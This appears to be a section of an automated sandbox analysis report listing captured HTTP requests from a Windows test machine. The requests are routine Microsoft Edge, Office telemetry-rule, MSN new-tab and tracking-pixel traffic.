Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.4a2a9ed8240d3004231b.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.070b7e2c0c11bf3433e5.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.80ecb7588d9cda3b33a1.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732954610&P2=404&P3=2&P4=BfN6Trn4YcM2mXjoJeL4KVr8gi6WwD9bgrKX54NOMJHirQY0zE0gC71ZlIeQMeGn3nc2VEmyqdWGYayRAJx2hw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: IuD1tfxI5MQMtzdzkeckkxSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1Host: assets2.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1124054842946B4F2DE61008433C6A40; _EDGE_S=F=1&SID=3A45F6F5166A64451BFDE3B517A665CA; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732349818187&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=514b73816cb24419b460befa9de20ac2&activityId=514b73816cb24419b460befa9de20ac2&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1124054842946B4F2DE61008433C6A40; _EDGE_S=F=1&SID=3A45F6F5166A64451BFDE3B517A665CA; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1732349818187&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1124054842946B4F2DE61008433C6A40&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732349818187&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=514b73816cb24419b460befa9de20ac2&activityId=514b73816cb24419b460befa9de20ac2&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D3B49BBCE2FE436FBC01B2C47C41EB7F&RedC=c.msn.com&MXFR=1124054842946B4F2DE61008433C6A40 HTTP/1.1Host: c.bing.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-MS-GEC: BDBB4546943F70F1372FA3CFAF3FFD5BDAA8634E71FCDE8A1D0827836E2C6EA8Sec-MS-GEC-Version: 1-117.0.2045.55Referer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBhw.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1124054842946B4F2DE61008433C6A40&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=98dedd5a825e4fc0ae0c2452599c7bee HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1124054842946B4F2DE61008433C6A40; _EDGE_S=F=1&SID=3A45F6F5166A64451BFDE3B517A665CA; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732349818187&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1124054842946B4F2DE61008433C6A40&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1FF9c66a78510822371cf741732349819; XID=1FF9c66a78510822371cf741732349819
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
